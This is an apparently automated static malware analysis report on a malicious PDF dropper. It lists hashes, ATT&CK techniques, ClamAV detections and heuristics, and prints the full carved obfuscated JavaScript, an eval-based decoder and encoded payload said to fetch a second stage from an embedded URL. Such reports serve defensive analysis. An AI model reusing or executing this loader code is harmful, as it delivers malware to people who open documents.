Malicious PDF — malware analysis report

Static analysis result for SHA-256 09e345858b89fa56…

MALICIOUS

PDF

2.8 KB First seen: 2012-07-12
MD5: 0bd23816d2f7e871f3ec9635841926a9 SHA-1: cb9b89b6de90a4c9d3af9458aa11b66deee273cc SHA-256: 09e345858b89fa56e164221bf390aab4817fad1a4f9296fb8b535234aab305ce
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes String.fromCharCode and eval() to execute malicious code. This script is designed to download and execute a second-stage payload from the embedded URL http://d2F.QK/N/a. The ClamAV detection name 'Pdf.Dropper.Agent-7226616-0' further supports its role as a dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-7226616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7226616-0
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('fqasds=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 257 bytes
SHA-256: 26d8659d6505505a05f03868bad870c675736c9ccc71e10e21abea9786e9f030
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('fqasds=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x267 3342 bytes
SHA-256: 060a73eee726541578b86633ab81ad7356d19bc22916da98f1c333d6e4b90379
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
xvywk="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";fshmemf="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3NV,.ZX>K6?Q:JQCN2*Eg2**.3OZ+,EGgR<?*XK8Tc2<R+4.?gJK96+_2-TK,4-^2;O`1:O:g]._Z9K96*>34W:K4Kh_3dLQ:NQ?,.[@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2<?*,.,OXK9BcV35+8K*5_R:**2<[QK,4T*:Qi1:NL_G,DCAR;bEV32R?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK/HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,<R*:J>W_3f1/K3B3_2+Ha.**,.VCc:LTJ.3jK_32W1:PP?e.Gaf,<4/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8OQZJ**:J**:J**:J**:J**:J**:J**:J**:QC?>3O??K8Xf2=*>.2TY>K4_fc<UJ,.eQ@K4XeV3[H/,G;;B;:O/K*,W2=VTT.Z/?K8VRV3@Q<K8U`B=V>@.?3>R=/*.3ag4.?hFK8Oa:KKJ+,@5cR<]Y/,8,::LVCV2>?UR=[@?,<SB>2CUJK*,=R:**2:^*O,*@KN2**.2]fXK9Z3:J/RC,**+,4-^2=d4i.Rdb:KP+4.*W-2:**2:]ffR:,_W,**+,+3O_3:^gK**,ZM-*,.,=5R<KQd,**/K6**K0A66K9Z3:J/RC,**+,CU-2<c]?2=8CG,IJ<K*5:].**,.GbLK5OH4.Vf4:M8W4.?A+:PD/B==4]K6b;:O`+<K*OR:K?IN2**@.O:*K+GER;ObG,D-T:J<*V3<bd,**/K9.*:M5QG,IJ<K*5:].**,._[_R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I[>3DaI,@WD_3PdD.,M-2=ZGV2BC5B:,TU,EGSN3P8O,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR;<XW,FfWK8S`R=4h@.Ub@K8GZR<W8].>*+,Gb?K/*U2:Xh@.?jC,*1C,45_R;>XS,/bYK8h::J*R2;?Hi.>,TZKE<C,4*WR=QGD.cTVK8Xe_3_OC,GG`R=S/a.efU:LO/W,FfK:Q85D.>+GK/+bZQ,OD.O_UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0XAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";xudwh=2751;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/izfwbsi/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(xvywk.length){izfwbsi.push((cpkqj4(xvywk.charCodeAt(0))<<(4+2))+cpkqj4(xvywk.charCodeAt(1))-(500+12));xvywk=xvywk.slice(2,xvywk.length)}ynamy=jpbuhz=xvywk=0;bmivdv='';function cpkqj4(fwktc){if(fwktc>92)fwktc--;return fwktc-42}function elhodu(){if(xvywk==0){jpbuhz=cpkqj4(fshmemf.charCodeAt(ynamy++));xvywk=6;}return ((jpbuhz>>--xvywk)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(xudwh--){i=0;while(izfwbsi[i]<0){if(elhodu())i=-izfwbsi[i];else i++;}bmivdv+=String.fromCharCode(izfwbsi[i]);}

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